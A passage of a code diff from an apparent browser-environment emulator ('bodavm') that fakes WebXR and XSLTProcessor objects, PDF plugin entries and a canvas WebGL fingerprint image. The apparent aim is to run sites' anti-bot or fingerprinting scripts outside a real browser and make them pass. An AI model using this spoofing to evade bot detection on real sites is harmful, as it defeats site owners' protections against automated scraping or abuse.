"XRSession", "requestLightProbe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestReferenceSpace", {configurable:true, enumerable:true, writable:true, value:function requestReferenceSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestReferenceSpace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "updateRenderState", {configurable:true, enumerable:true, writable:true, value:function updateRenderState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "updateRenderState", arguments)}},'prototype'); - -// XRSessionEvent对象 -bodavm.memory.globalobj['XRSessionEvent'] = function XRSessionEvent(){if (!(this instanceof XRSessionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRSessionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSessionEvent'], "XRSessionEvent"); -bodavm.memory.globalobj['XRSessionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRSessionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRSessionEvent', "session", {configurable:true, enumerable:true, get:function session (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSessionEvent'].prototype, "XRSessionEvent", "session_get", arguments)}, set:undefined},'prototype'); - -// XRSystem对象 -bodavm.memory.globalobj['XRSystem'] = function XRSystem(){if (!(this instanceof XRSystem)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSystem'], "XRSystem"); -bodavm.memory.globalobj['XRSystem'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRSystem'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XRSystem', "ondevicechange", {configurable:true, enumerable:true, get:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_get", arguments)}, set:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSystem', "isSessionSupported", {configurable:true, enumerable:true, writable:true, value:function isSessionSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "isSessionSupported", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSystem', "requestSession", {configurable:true, enumerable:true, writable:true, value:function requestSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "requestSession", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSystem', "supportsSession", {configurable:true, enumerable:true, writable:true, value:function supportsSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "supportsSession", arguments)}},'prototype'); - -// XRTransientInputHitTestResult对象 -bodavm.memory.globalobj['XRTransientInputHitTestResult'] = function XRTransientInputHitTestResult(){if (!(this instanceof XRTransientInputHitTestResult)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestResult'], "XRTransientInputHitTestResult"); -bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "inputSource", {configurable:true, enumerable:true, get:function inputSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "inputSource_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "results", {configurable:true, enumerable:true, get:function results (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "results_get", arguments)}, set:undefined},'prototype'); - -// XRTransientInputHitTestSource对象 -bodavm.memory.globalobj['XRTransientInputHitTestSource'] = function XRTransientInputHitTestSource(){if (!(this instanceof XRTransientInputHitTestSource)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestSource'], "XRTransientInputHitTestSource"); -bodavm.toolsFunc.defineProperty('XRTransientInputHitTestSource', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestSource'].prototype, "XRTransientInputHitTestSource", "cancel", arguments)}},'prototype'); - -// XRView对象 -bodavm.memory.globalobj['XRView'] = function XRView(){if (!(this instanceof XRView)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRView'], "XRView"); -bodavm.toolsFunc.defineProperty('XRView', "eye", {configurable:true, enumerable:true, get:function eye (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "eye_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "projectionMatrix", {configurable:true, enumerable:true, get:function projectionMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "projectionMatrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "transform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "recommendedViewportScale", {configurable:true, enumerable:true, get:function recommendedViewportScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "recommendedViewportScale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "isFirstPersonObserver", {configurable:true, enumerable:true, get:function isFirstPersonObserver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "isFirstPersonObserver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "camera", {configurable:true, enumerable:true, get:function camera (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "camera_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "requestViewportScale", {configurable:true, enumerable:true, writable:true, value:function requestViewportScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "requestViewportScale", arguments)}},'prototype'); - -// XRViewerPose对象 -bodavm.memory.globalobj['XRViewerPose'] = function XRViewerPose(){if (!(this instanceof XRViewerPose)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewerPose'], "XRViewerPose"); -bodavm.memory.globalobj['XRViewerPose'].prototype.__proto__=bodavm.memory.globalobj['XRPose'].prototype; -bodavm.memory.globalobj['XRViewerPose'].__proto__=bodavm.memory.globalobj['XRPose']; -bodavm.toolsFunc.defineProperty('XRViewerPose', "views", {configurable:true, enumerable:true, get:function views (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewerPose'].prototype, "XRViewerPose", "views_get", arguments)}, set:undefined},'prototype'); - -// XRViewport对象 -bodavm.memory.globalobj['XRViewport'] = function XRViewport(){if (!(this instanceof XRViewport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewport'], "XRViewport"); -bodavm.toolsFunc.defineProperty('XRViewport', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRViewport', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRViewport', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRViewport', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "height_get", arguments)}, set:undefined},'prototype'); - -// XRWebGLBinding对象 -bodavm.memory.globalobj['XRWebGLBinding'] = function XRWebGLBinding(){if (!(this instanceof XRWebGLBinding)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLBinding': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLBinding'], "XRWebGLBinding"); -bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getCameraImage", {configurable:true, enumerable:true, writable:true, value:function getCameraImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getCameraImage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getDepthInformation", {configurable:true, enumerable:true, writable:true, value:function getDepthInformation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getDepthInformation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getReflectionCubeMap", {configurable:true, enumerable:true, writable:true, value:function getReflectionCubeMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getReflectionCubeMap", arguments)}},'prototype'); - -// XRWebGLDepthInformation对象 -bodavm.memory.globalobj['XRWebGLDepthInformation'] = function XRWebGLDepthInformation(){if (!(this instanceof XRWebGLDepthInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLDepthInformation'], "XRWebGLDepthInformation"); -bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype.__proto__=bodavm.memory.globalobj['XRDepthInformation'].prototype; -bodavm.memory.globalobj['XRWebGLDepthInformation'].__proto__=bodavm.memory.globalobj['XRDepthInformation']; -bodavm.toolsFunc.defineProperty('XRWebGLDepthInformation', "texture", {configurable:true, enumerable:true, get:function texture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype, "XRWebGLDepthInformation", "texture_get", arguments)}, set:undefined},'prototype'); - -// XRWebGLLayer对象 -bodavm.memory.globalobj['XRWebGLLayer'] = function XRWebGLLayer(){if (!(this instanceof XRWebGLLayer)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLLayer': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLLayer'], "XRWebGLLayer"); -bodavm.memory.globalobj['XRWebGLLayer'].prototype.__proto__=bodavm.memory.globalobj['XRLayer'].prototype; -bodavm.memory.globalobj['XRWebGLLayer'].__proto__=bodavm.memory.globalobj['XRLayer']; -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getNativeFramebufferScaleFactor", {configurable:true, enumerable:true, writable:true, value:function getNativeFramebufferScaleFactor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].undefined, "XRWebGLLayer", "getNativeFramebufferScaleFactor", arguments)}}); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "antialias", {configurable:true, enumerable:true, get:function antialias (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "antialias_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "ignoreDepthValues", {configurable:true, enumerable:true, get:function ignoreDepthValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "ignoreDepthValues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferWidth", {configurable:true, enumerable:true, get:function framebufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferHeight", {configurable:true, enumerable:true, get:function framebufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebuffer", {configurable:true, enumerable:true, get:function framebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebuffer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getViewport", {configurable:true, enumerable:true, writable:true, value:function getViewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "getViewport", arguments)}},'prototype'); - -// XSLTProcessor对象 -bodavm.memory.globalobj['XSLTProcessor'] = function XSLTProcessor(){this._boarg= new bodaobj.window.XSLTProcessor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XSLTProcessor'], "XSLTProcessor"); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "clearParameters", {configurable:true, enumerable:true, writable:true, value:function clearParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "clearParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "getParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "importStylesheet", {configurable:true, enumerable:true, writable:true, value:function importStylesheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "importStylesheet", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "removeParameter", {configurable:true, enumerable:true, writable:true, value:function removeParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "removeParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "setParameter", {configurable:true, enumerable:true, writable:true, value:function setParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "setParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToDocument", {configurable:true, enumerable:true, writable:true, value:function transformToDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", {configurable:true, enumerable:true, writable:true, value:function transformToFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToFragment", arguments)}},'prototype'); //网页变量初始化 @@ -20942,14 +84383,16 @@ bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", {configu { "type": "application/pdf", "suffixes": "pdf", - "description": "Portable Document Format" + "description": "Portable Document Format", + 'itemstamp':+Date.now() }, { "type": 'text/pdf', "suffixes": "pdf", "description": "Portable Document Format" }, - ] + ], + 'itemstamp':+Date.now() } ) bodavm.toolsPlugin.createPlugin( @@ -21028,6 +84471,10 @@ bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", {configu ] } ) + + + + // Object.defineProperty(navigator.plugins) bodavm.memory.userInit.canvas_webgl=`data:image/png;base64,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` // bodavm.memory.userInit.canvas_experimental_webgl="data:image/png;base64,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